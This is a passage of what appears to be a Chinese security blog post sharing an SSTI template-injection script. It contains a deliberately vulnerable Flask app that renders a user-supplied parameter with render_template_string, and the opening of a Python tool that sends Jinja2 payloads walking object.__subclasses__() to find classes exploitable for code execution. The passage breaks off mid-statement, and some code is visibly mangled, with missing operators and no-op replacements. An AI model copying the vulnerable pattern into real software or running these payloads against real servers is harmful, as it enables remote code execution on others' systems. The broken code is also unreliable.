SSTI 模板注入 | 一个找可利用类的小脚本
运行测试版本 : python3.7.0flask2.0.3
代码
代码写的有点烂,也有很多冗余代码,不过不想改了,能跑就行,将就着用吧hhhh
- 运行flask模块 | index.py
import flask
app = flask.Flask(__name__)
# @app.route('/<path:id>')
@app.route('/')
def test():
id=flask.request.args.get('id')
return flask.render_template_string(id)
if __name__ == '__main__':
app.run()
工具SSTI-Finder.py源码
- 访问flask网站获得结果的脚本 | tool.py
import requests,sys,time,os
# class single_class : self.name , self.menbers
# 创建类存放`测试字符串`和`所有得到结果`的全部元素(以逗号,分割)
# __dir__()用法:列出对象的所有属性(方法)名
class single_class:
def __init__(self,name,info):
self.url=""
self.info=info
self.name=name
self.menbers=[]
# get_all_class_name(url,geted_object=0,get_object__subclasses__="")
# url : 访问的url
# geted_object : 用于标记是否已获取过object下的class,运行过了的话就不必再次重复运行了
# get_object__subclasses__ : 能够得到object的payload(注意加上[h0cksr].__name)
# 得到object下全部类的类名列表
def get_all_class_name(url,geted_object=0,get_object__subclasses__=""):
def get_str(response):
return response.text.
replace("'","'").
replace("<","<").
replace(">",">").
replace("'","").
replace("[","").
replace("]","")
if geted_object:
return
if get_object__subclasses__=="":
payload="{{''.__class__.__mro__[-1].__subclasses__()[h0cksr].__name__ }}"
else:
payload=get_object__subclasses__
# 得到object.__subclasses__()下的所有class(也只有class)
text=requests.get(url "{{''.__class__.__mro__[-1].__subclasses__()}}").text.
replace("'","'").
replace("<","<").
replace(">",">").
replace("'","").
replace("[","").
replace("]","")
# print(text) # 打印object.__subclasses__()
all_class_name=[]
all_class_info=[]
# 输出object全部成员
# for i in text.split(","):
# print(i)
for i in range(len(text.split(",")) 10):
name_resp=requests.get(url payload.replace("h0cksr",str(i)))
info_resp=requests.get(url payload.replace("h0cksr",str(i)).replace(".__name__",""))
if name_resp.status_code != 200:
if len(text.split(","))-i>100:
print("大概率是出问题了,只找到了",i,"个类","系统内部共有",len(object.__subclasses__()),"个类")
print("Function get_all_class_name() 执行结果:")
print("在object下的获取到成员数量:",i,"